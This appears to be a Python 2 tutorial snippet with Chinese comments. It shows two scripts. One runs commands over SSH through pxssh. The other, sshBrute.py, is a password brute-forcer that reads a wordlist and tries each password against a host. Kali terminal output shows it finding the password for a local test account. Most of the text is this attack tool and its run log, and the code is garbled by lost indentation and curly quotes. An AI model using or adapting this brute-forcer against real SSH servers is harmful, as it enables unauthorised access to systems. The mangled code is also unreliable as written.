#导入pxssh模块

import pxssh

def send_command(s,cmd):

#发送命令

    s.sendline(cmd)

#获取期望的输出提示符

    s.prompt()

#显示返回信息

    print s.before

def connect(host,user,password):

    try:

#创建pxssh对象

s = pxssh.pxssh()

#登陆ssh函数

s.login(host,user,password)

return s

    except:

print ‘[-] Error Connecting‘

exit(0)

s = connect(‘127.0.0.1‘,‘test‘,‘test‘)

send_command(s,‘ls /‘)

root@kali:/usr/python# python sshPxssh.py 

ls /

0     dev   initrd.imglost+found  opt    root  srv   tmpvmlinuz

bin   etc   libmedia    proc   run sys   usr

boot  home  live-buildmnt    p.txt  sbin  testfile  var

import pxssh

import optparse

def connect(host,user,password):

    print ‘[-] Testing: ‘ + password

    try:

s = pxssh.pxssh()

s.login(host,user,password)

print ‘[*] Password Found: ‘+password

    except:

print ‘[-] Error Connecting‘

def main():

    parser = optparse.OptionParser(‘usage %prog -H <host> -u <user> -F <passfile>‘)

    parser.add_option(‘-H‘,dest=‘tgtHost‘,type=‘string‘,help=‘specify target host‘)

    parser.add_option(‘-u‘,dest=‘user‘,type=‘string‘,help=‘specify the user‘)

    parser.add_option(‘-F‘,dest=‘passwdFile‘,type=‘string‘,help=‘passwod file‘)

    (options,args) = parser.parse_args()

    host = options.tgtHost

    passwdFile = options.passwdFile

    user = options.user

    fn = open(passwdFile,‘r‘)

    for line in fn.readlines():

password = line.strip(‘\r‘).strip(‘\n‘)

connect(host,user,password)

if __name__ == ‘__main__‘:

    main()

root@kali:/usr/python# python sshBrute.py -H 127.0.0.1 -u test -F file.txt

[-] Testing: 1234

[-] Error Connecting

[-] Testing: 2222

[-] Error Connecting

[-] Testing: 4444

[-] Error Connecting

[-] Testing: 555

[-] Error Connecting

[-] Testing: tttt

[-] Error Connecting

[-] Testing: admin

[-] Error Connecting

[-] Testing: root

[-] Error Connecting

[-] Testing: test

[*] Password Found: test